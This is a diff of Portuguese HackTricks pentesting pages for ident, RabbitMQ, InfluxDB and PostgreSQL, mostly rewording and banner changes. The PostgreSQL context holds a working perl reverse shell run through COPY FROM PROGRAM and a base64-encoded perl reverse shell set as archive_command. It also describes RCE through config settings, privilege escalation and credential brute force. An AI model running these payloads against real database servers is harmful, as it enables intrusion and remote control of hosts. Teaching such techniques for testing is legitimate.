|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje:
|
||||
|
@ -81,7 +81,7 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
|
|||
|
||||
identd.conf
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje mesmo:
|
||||
|
|
|
@ -12,13 +12,13 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Informações Básicas
|
||||
## Informações básicas
|
||||
|
||||
Você pode aprender mais sobre o RabbitMQ em [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\
|
||||
Nesta porta, você pode encontrar o console web do RabbitMQ Management se o [plugin de gerenciamento](https://www.rabbitmq.com/management.html) estiver habilitado.\
|
||||
|
@ -56,7 +56,7 @@ Content-Length: 267
|
|||
|
||||
* `port:15672 http`
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -66,7 +66,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inquebráv
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,10 +1,10 @@
|
|||
# 8086 - Pentesting InfluxDB
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -68,7 +68,7 @@ _internal
|
|||
```
|
||||
#### Mostrar tabelas/medições
|
||||
|
||||
Conforme a [**documentação do InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/), as **medições** do SQL podem ser consideradas como tabelas do SQL. Como os nomes das **medições** acima sugerem, cada uma contém informações que se referem a uma entidade específica.
|
||||
Conforme explica a [**documentação do InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/), as **medições** do SQL podem ser consideradas como tabelas do SQL. Como os nomes das **medições** acima sugerem, cada uma contém informações que se referem a uma entidade específica.
|
||||
```bash
|
||||
> show measurements
|
||||
name: measurements
|
||||
|
@ -137,7 +137,7 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -1,10 +1,10 @@
|
|||
# 5432,5433 - Pentesting Postgresql
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -12,11 +12,11 @@ Acesse hoje:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -24,64 +24,39 @@ Acesse hoje:
|
|||
|
||||
**PostgreSQL** é um sistema de banco de dados objeto-relacional de código aberto que utiliza e estende a linguagem SQL.
|
||||
|
||||
**Porta padrão:** 5432, e se esta porta já estiver em uso, parece que o postgresql usará a próxima porta (provavelmente 5433) que não está em uso.
|
||||
**Porta padrão:** 5432, e se esta porta já estiver em uso, parece que o postgresql usará a próxima porta disponível (provavelmente 5433) que não está em uso.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5432/tcp open pgsql
|
||||
```
|
||||
## Conectar e Enumeração Básica
|
||||
|
||||
Para realizar testes de penetração em um servidor PostgreSQL, é necessário estabelecer uma conexão com o banco de dados e realizar uma enumeração básica para obter informações sobre o ambiente alvo.
|
||||
Para realizar testes de penetração em um servidor PostgreSQL, é necessário estabelecer uma conexão com o banco de dados e realizar uma enumeração básica para obter informações sobre o ambiente.
|
||||
|
||||
### Conexão ao Banco de Dados
|
||||
### Conexão
|
||||
|
||||
Para se conectar ao servidor PostgreSQL, você pode usar a ferramenta `psql` ou qualquer outra ferramenta de cliente PostgreSQL. Certifique-se de ter as credenciais corretas, como o nome do host, porta, nome do banco de dados, nome de usuário e senha.
|
||||
Para se conectar a um servidor PostgreSQL, você pode usar a ferramenta `psql` ou qualquer outra ferramenta de cliente compatível. A sintaxe básica para se conectar é a seguinte:
|
||||
|
||||
```bash
|
||||
psql -h <host> -p <port> -d <database> -U <username> -W
|
||||
psql -h <host> -p <port> -U <username> -d <database>
|
||||
```
|
||||
|
||||
Substitua `<host>` pelo endereço IP ou nome do host do servidor PostgreSQL, `<port>` pela porta em que o servidor está ouvindo, `<username>` pelo nome de usuário válido e `<database>` pelo nome do banco de dados que deseja acessar.
|
||||
|
||||
### Enumeração Básica
|
||||
|
||||
Após estabelecer a conexão com o banco de dados, você pode realizar uma enumeração básica para obter informações sobre o ambiente alvo. Aqui estão alguns comandos úteis:
|
||||
Após estabelecer a conexão com o servidor PostgreSQL, você pode realizar uma enumeração básica para obter informações sobre o banco de dados. Aqui estão alguns comandos úteis:
|
||||
|
||||
1. Listar bancos de dados:
|
||||
- `\l`: Lista todos os bancos de dados disponíveis.
|
||||
- `\dt`: Lista todas as tabelas no banco de dados atual.
|
||||
- `\du`: Lista todos os usuários do banco de dados.
|
||||
- `\dv`: Lista todas as views no banco de dados atual.
|
||||
- `\df`: Lista todas as funções no banco de dados atual.
|
||||
- `\dp`: Lista as permissões de acesso no banco de dados atual.
|
||||
|
||||
```sql
|
||||
\l
|
||||
```
|
||||
Esses comandos fornecerão informações valiosas sobre a estrutura do banco de dados, tabelas, usuários e permissões de acesso.
|
||||
|
||||
2. Conectar a um banco de dados específico:
|
||||
|
||||
```sql
|
||||
\c <database>
|
||||
```
|
||||
|
||||
3. Listar tabelas em um banco de dados:
|
||||
|
||||
```sql
|
||||
\dt
|
||||
```
|
||||
|
||||
4. Descrever uma tabela específica:
|
||||
|
||||
```sql
|
||||
\d <table>
|
||||
```
|
||||
|
||||
5. Listar funções em um banco de dados:
|
||||
|
||||
```sql
|
||||
\df
|
||||
```
|
||||
|
||||
6. Listar usuários e suas permissões:
|
||||
|
||||
```sql
|
||||
\du
|
||||
```
|
||||
|
||||
Esses comandos básicos ajudarão você a obter uma visão geral do ambiente PostgreSQL e a identificar possíveis alvos para testes de penetração mais avançados.
|
||||
Lembre-se de que a enumeração básica é apenas o primeiro passo no processo de teste de penetração. É importante explorar ainda mais as vulnerabilidades identificadas e realizar testes adicionais para garantir a segurança do servidor PostgreSQL.
|
||||
```bash
|
||||
psql -U <myuser> # Open psql console with user
|
||||
psql -h <host> -U <username> -d <database> # Remote connection
|
||||
|
@ -225,7 +200,7 @@ Infelizmente, não parece haver uma maneira de obter os detalhes da exceção de
|
|||
| rolconnlimit | Para funções que podem fazer login, isso define o número máximo de conexões simultâneas que essa função pode fazer. -1 significa sem limite. |
|
||||
| rolpassword | Não é a senha (sempre lida como `********`) |
|
||||
| rolvaliduntil | Tempo de expiração da senha (usado apenas para autenticação de senha); nulo se não houver expiração |
|
||||
| rolbypassrls | A função ignora todas as políticas de segurança de nível de linha, consulte [Seção 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para obter mais informações. |
|
||||
| rolbypassrls | A função ignora todas as políticas de segurança em nível de linha, consulte [Seção 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para obter mais informações. |
|
||||
| rolconfig | Valores padrão específicos da função para variáveis de configuração em tempo de execução |
|
||||
| oid | ID da função |
|
||||
|
||||
|
@ -289,29 +264,29 @@ As a penetration tester, it is important to understand the structure and content
|
|||
|
||||
To gather information about the tables in a PostgreSQL database, you can use various techniques and tools. One common method is to use SQL queries to retrieve the table names and their corresponding columns.
|
||||
|
||||
Here are some SQL queries that can be used to gather information about tables in a PostgreSQL database:
|
||||
Here are a few SQL queries that can be used to gather information about tables in a PostgreSQL database:
|
||||
|
||||
- To retrieve the names of all tables in the current database:
|
||||
1. List all tables in the current database:
|
||||
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
|
||||
```
|
||||
|
||||
- To retrieve the names of all columns in a specific table:
|
||||
2. List all columns in a specific table:
|
||||
|
||||
```sql
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name';
|
||||
```
|
||||
|
||||
- To retrieve the data from a specific table:
|
||||
3. Retrieve the number of rows in a specific table:
|
||||
|
||||
```sql
|
||||
SELECT * FROM table_name;
|
||||
SELECT COUNT(*) FROM table_name;
|
||||
```
|
||||
|
||||
By executing these queries, you can gather valuable information about the tables in a PostgreSQL database, such as their names, column names, and data. This information can be used to further analyze the database and identify potential vulnerabilities or misconfigurations.
|
||||
By executing these queries, you can obtain valuable information about the tables in a PostgreSQL database, such as their names, column names, and the number of rows they contain. This information can be used to further analyze the database and identify potential security vulnerabilities.
|
||||
|
||||
It is important to note that when performing any actions on a PostgreSQL database, you should have proper authorization and permissions. Unauthorized access or modification of a database can have serious legal consequences. Always ensure that you have the necessary permissions and legal authorization before conducting any penetration testing activities.
|
||||
It is important to note that when performing any actions on a PostgreSQL database, you should have proper authorization and permissions. Always ensure that you have the necessary permissions before executing any queries or accessing sensitive data.
|
||||
```sql
|
||||
# Get owners of tables
|
||||
select schemaname,tablename,tableowner from pg_tables;
|
||||
|
@ -331,61 +306,50 @@ Functions in PostgreSQL are named blocks of code that can be executed by calling
|
|||
|
||||
#### Creating Functions
|
||||
|
||||
To create a function in PostgreSQL, you need to specify the function name, input parameters (if any), return type, and the code block that defines the function's behavior. Here is the syntax for creating a function:
|
||||
To create a function in PostgreSQL, you can use the `CREATE FUNCTION` statement followed by the function name, input parameters (if any), return type, and the code block enclosed in a `BEGIN` and `END` block. Here is the syntax:
|
||||
|
||||
```sql
|
||||
CREATE FUNCTION function_name ([parameter1 data_type [, parameter2 data_type, ...]])
|
||||
CREATE FUNCTION function_name (parameter1 datatype, parameter2 datatype, ...)
|
||||
RETURNS return_type
|
||||
LANGUAGE language_name
|
||||
AS
|
||||
$$
|
||||
AS $$
|
||||
-- Function code goes here
|
||||
$$;
|
||||
```
|
||||
|
||||
Let's break down the syntax:
|
||||
|
||||
- `function_name`: The name of the function.
|
||||
- `parameter1, parameter2, ...`: The input parameters of the function, each with its data type.
|
||||
- `return_type`: The data type of the value returned by the function.
|
||||
- `language_name`: The programming language used to write the function code.
|
||||
- `$$ ... $$`: The code block that defines the function's behavior.
|
||||
|
||||
#### Example
|
||||
|
||||
Here is an example of a simple function that calculates the square of a given number:
|
||||
Let's create a simple function called `add_numbers` that takes two integer parameters and returns their sum:
|
||||
|
||||
```sql
|
||||
CREATE FUNCTION square(num INTEGER)
|
||||
RETURNS INTEGER
|
||||
LANGUAGE SQL
|
||||
AS
|
||||
$$
|
||||
SELECT num * num;
|
||||
CREATE FUNCTION add_numbers (num1 integer, num2 integer)
|
||||
RETURNS integer
|
||||
AS $$
|
||||
BEGIN
|
||||
RETURN num1 + num2;
|
||||
END;
|
||||
$$;
|
||||
```
|
||||
|
||||
In this example, the function `square` takes an integer parameter `num` and returns an integer value. The function code simply multiplies the input number by itself to calculate the square.
|
||||
|
||||
#### Calling Functions
|
||||
|
||||
Once a function is created, you can call it by using its name and passing the required arguments. Here is the syntax for calling a function:
|
||||
Once a function is created, you can call it by using its name followed by the input parameters (if any). Here is the syntax:
|
||||
|
||||
```sql
|
||||
SELECT function_name(argument1, argument2, ...);
|
||||
SELECT function_name(parameter1, parameter2, ...);
|
||||
```
|
||||
|
||||
For example, to call the `square` function and calculate the square of the number 5, you would use the following query:
|
||||
Using our `add_numbers` function, we can call it like this:
|
||||
|
||||
```sql
|
||||
SELECT square(5);
|
||||
SELECT add_numbers(5, 10);
|
||||
```
|
||||
|
||||
This would return the result `25`, which is the square of 5.
|
||||
This will return the sum of 5 and 10, which is 15.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
Functions in PostgreSQL are powerful tools that allow you to encapsulate reusable code and perform specific tasks. By creating and calling functions, you can enhance the functionality and flexibility of your database applications.
|
||||
Functions in PostgreSQL are powerful tools that allow you to encapsulate reusable code and perform specific tasks. By creating functions, you can simplify complex operations and make your code more modular and maintainable.
|
||||
```sql
|
||||
# Interesting functions are inside pg_catalog
|
||||
\df * #Get all
|
||||
|
@ -507,7 +471,7 @@ DROP TABLE IF EXISTS cmd_exec;
|
|||
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Lembre-se de que se você não é um super usuário, mas tem permissões de **`CREATEROLE`**, você pode **tornar-se membro desse grupo:**
|
||||
Lembre-se de que se você não for um super usuário, mas tiver permissões **`CREATEROLE`**, você pode **tornar-se membro desse grupo:**
|
||||
```sql
|
||||
GRANT pg_execute_server_program TO username;
|
||||
```
|
||||
|
@ -533,7 +497,7 @@ Depois de **aprender** do post anterior **como fazer upload de arquivos binário
|
|||
|
||||
### RCE com arquivo de configuração do PostgreSQL
|
||||
|
||||
O **arquivo de configuração** do PostgreSQL é **gravável** pelo **usuário postgres**, que é o usuário que executa o banco de dados, então como **superusuário** você pode gravar arquivos no sistema de arquivos e, portanto, pode **sobrescrever este arquivo**.
|
||||
O **arquivo de configuração** do PostgreSQL é **gravável** pelo **usuário postgres**, que é o usuário que executa o banco de dados, então como **superusuário** você pode gravar arquivos no sistema de arquivos e, portanto, pode **sobrescrever esse arquivo**.
|
||||
|
||||
![](<../.gitbook/assets/image (303).png>)
|
||||
|
||||
|
@ -542,8 +506,8 @@ O **arquivo de configuração** do PostgreSQL é **gravável** pelo **usuário p
|
|||
O arquivo de configuração possui alguns atributos interessantes que podem levar a RCE:
|
||||
|
||||
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Caminho para a chave privada do banco de dados
|
||||
* `ssl_passphrase_command = ''` Se o arquivo privado estiver protegido por senha (criptografado), o PostgreSQL irá **executar o comando indicado neste atributo**.
|
||||
* `ssl_passphrase_command_supports_reload = off` **Se** este atributo estiver **ligado**, o **comando** executado se a chave estiver protegida por senha **será executado** quando `pg_reload_conf()` for **executado**.
|
||||
* `ssl_passphrase_command = ''` Se o arquivo privado estiver protegido por senha (criptografado), o PostgreSQL irá **executar o comando indicado nesse atributo**.
|
||||
* `ssl_passphrase_command_supports_reload = off` **Se** esse atributo estiver **ligado**, o **comando** executado se a chave estiver protegida por senha **será executado** quando `pg_reload_conf()` for **executado**.
|
||||
|
||||
Então, um invasor precisará:
|
||||
|
||||
|
@ -557,7 +521,7 @@ Então, um invasor precisará:
|
|||
2. `ssl_passphrase_command_supports_reload = on`
|
||||
6. Executar `pg_reload_conf()`
|
||||
|
||||
Ao testar isso, notei que isso só funcionará se o **arquivo da chave privada tiver permissões 640**, for **propriedade do root** e do **grupo ssl-cert ou postgres** (para que o usuário postgres possa lê-lo) e estiver localizado em _/var/lib/postgresql/12/main_.
|
||||
Ao testar isso, observei que isso só funcionará se o **arquivo da chave privada tiver permissões 640**, for **propriedade do root** e do **grupo ssl-cert ou postgres** (para que o usuário postgres possa lê-lo) e estiver localizado em _/var/lib/postgresql/12/main_.
|
||||
|
||||
**Mais** [**informações sobre essa técnica aqui**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.**
|
||||
|
||||
|
@ -565,14 +529,14 @@ Ao testar isso, notei que isso só funcionará se o **arquivo da chave privada t
|
|||
|
||||
Outro atributo no arquivo de configuração que pode ser explorado é `archive_command`.
|
||||
|
||||
Para que isso funcione, a configuração `archive_mode` deve ser `'on'` ou `'always'`. Se isso for verdade, então podemos sobrescrever o comando em `archive_command` e forçá-lo a ser executado por meio das operações de WAL (write-ahead logging).
|
||||
Para que isso funcione, a configuração `archive_mode` deve ser `'on'` ou `'always'`. Se isso for verdadeiro, podemos sobrescrever o comando em `archive_command` e forçá-lo a ser executado por meio das operações de WAL (write-ahead logging).
|
||||
|
||||
Os passos gerais são:
|
||||
|
||||
1. Verificar se o modo de arquivo está habilitado: `SELECT current_setting('archive_mode')`
|
||||
1. Verificar se o modo de arquivamento está ativado: `SELECT current_setting('archive_mode')`
|
||||
2. Sobrescrever `archive_command` com o payload. Por exemplo, um shell reverso: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. Recarregar a configuração: `SELECT pg_reload_conf()`
|
||||
4. Forçar a operação do WAL a ser executada, o que chamará o comando de arquivo: `SELECT pg_switch_wal()` ou `SELECT pg_switch_xlog()` para algumas versões do Postgres
|
||||
4. Forçar a operação do WAL a ser executada, o que chamará o comando de arquivamento: `SELECT pg_switch_wal()` ou `SELECT pg_switch_xlog()` para algumas versões do Postgres
|
||||
|
||||
**Mais** [**informações sobre essa configuração e sobre WAL aqui**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
|
||||
|
||||
|
@ -620,13 +584,13 @@ host all all ::1/128 trust
|
|||
|
||||
### **ALTER TABLE privesc**
|
||||
|
||||
Neste [writeup](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) é explicado como foi possível realizar uma **elevação de privilégios** no Postgres GCP abusando do privilégio ALTER TABLE concedido ao usuário.
|
||||
Neste **writeup**, é explicado como foi possível realizar uma **elevação de privilégios** no Postgres GCP abusando do privilégio ALTER TABLE concedido ao usuário.
|
||||
|
||||
Quando você tenta **tornar outro usuário proprietário de uma tabela**, você deveria receber um **erro** impedindo isso, mas aparentemente o GCP deu essa **opção ao usuário postgres não-superusuário** no GCP:
|
||||
Quando você tenta **atribuir a propriedade de uma tabela a outro usuário**, você deveria receber um **erro** impedindo isso, mas aparentemente o GCP deu essa **opção ao usuário postgres não-superuser** no GCP:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Unindo essa ideia ao fato de que quando os comandos **INSERT/UPDATE/ANALYZE** são executados em uma **tabela com uma função de índice**, a **função** é **chamada** como parte do comando com as **permissões do proprietário da tabela**. É possível criar um índice com uma função e dar permissões de proprietário a um **superusuário** sobre essa tabela e, em seguida, executar ANALYZE na tabela com a função maliciosa que será capaz de executar comandos porque está usando as permissões do proprietário.
|
||||
Unindo essa ideia ao fato de que quando os comandos **INSERT/UPDATE/ANALYZE** são executados em uma **tabela com uma função de índice**, a **função** é **chamada** como parte do comando com as **permissões do proprietário da tabela**. É possível criar um índice com uma função e atribuir permissões de proprietário a um **super usuário** sobre essa tabela e, em seguida, executar ANALYZE na tabela com a função maliciosa que será capaz de executar comandos porque está usando as permissões do proprietário.
|
||||
```c
|
||||
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
||||
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
||||
|
@ -733,7 +697,7 @@ E então **execute comandos**:
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Passar Burteforce com PL/pgSQL
|
||||
### Passar por Burteforce com PL/pgSQL
|
||||
|
||||
PL/pgSQL, como uma **linguagem de programação completa**, permite um controle procedural muito maior do que o SQL, incluindo a **capacidade de usar loops e outras estruturas de controle**. Declarações SQL e gatilhos podem chamar funções criadas na linguagem PL/pgSQL.\
|
||||
**Você pode abusar dessa linguagem para pedir ao PostgreSQL que faça força bruta nas credenciais dos usuários.**
|
||||
|
@ -788,14 +752,14 @@ Os métodos de autenticação baseados em senha são **md5**, **crypt** e **pass
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
